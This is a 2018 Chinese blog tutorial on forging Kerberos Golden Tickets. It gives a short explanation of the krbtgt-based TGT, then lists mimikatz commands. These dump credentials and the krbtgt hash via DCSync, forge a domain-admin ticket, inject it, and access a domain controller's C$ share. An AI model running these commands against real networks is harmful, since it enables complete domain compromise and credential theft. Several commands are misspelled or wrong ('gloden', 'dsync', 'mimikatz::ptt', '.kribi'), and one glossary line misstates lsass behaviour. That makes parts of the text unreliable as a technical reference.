黄金票据(Golden Ticket)的原理与实践

0、黄金票据是什么?


在与认证过程中,经过client与AS的通信会得到TGT,带着TGT想TGS请求,得到票据ticket,用这个ticket可以来访问应用服务器。如果这段有什么疑问,欢迎参考Kerberos认证协议分析。而这个黄金票据就是自己生成的TGT,在生成TGT的过程中,user、domain、timestamp、还有权限等信息会经过krbtgt(该账号不自动更新)账户hash的加密,所以获取到用户、域、SID、krbtgt的hash值就可以生成黄金票据(一般拿到krbtgt需要域管权限,生成的票据当然也是域管账号的,这样就控了整个域,而且有了金票据,免除了as验证username、password的阶段,所以也不担心域管密码修改)。

1、名词解释


1.1 winlogon.exe

接受Username和Password、Domain信息,传递给lsass.exe。

1.2 lsass.exe

lsass.exe经过kerberos机制处理Username和Password后与SAM(账号数据库)进行比对验证,返回登录失败的结果。

1.3 SAM数据库

存储账号密码Hash值的数据库。

1.4 NetLogon

域认证的加密信道(安全信道sChannel)。

2、如何生成黄金票据


2.1 生成黄金票据需要的信息

2.1.1 windows域的名称

PS C:\Users\Administrastor> systeminfo

2.1.2 krbtgt和账号信息簇

mimikatz# sekurlsa::kerberos
mimikatz# sekurlsa::ticket /export
mimikatz# sekurlsa::logonpassword
mimikatz# lsadump::dsync /domain:xxx.xxx.xxx /user:krbtgt
mimikatz# lsadump::lsa /patch -> sid+ntlm

2.2 生成黄金票据

#  使用krbtgt的hash值:
mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi

# 使用krbtgt的aes256值:
mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi

3 黄金票据的使用


#  导入票据
mimikatz::ptt test.kribi

#检验缓存票据
PS C:\Users\Administrastor> klist  

#利用票据访问
PS C:\Users\Administrastor> net use \\xx.domain-name
dir \\xx.domain-name\c$

posted on 2018-07-19 19:14  挖洞的土拨鼠  阅读(...)  评论(...编辑  收藏

导航

统计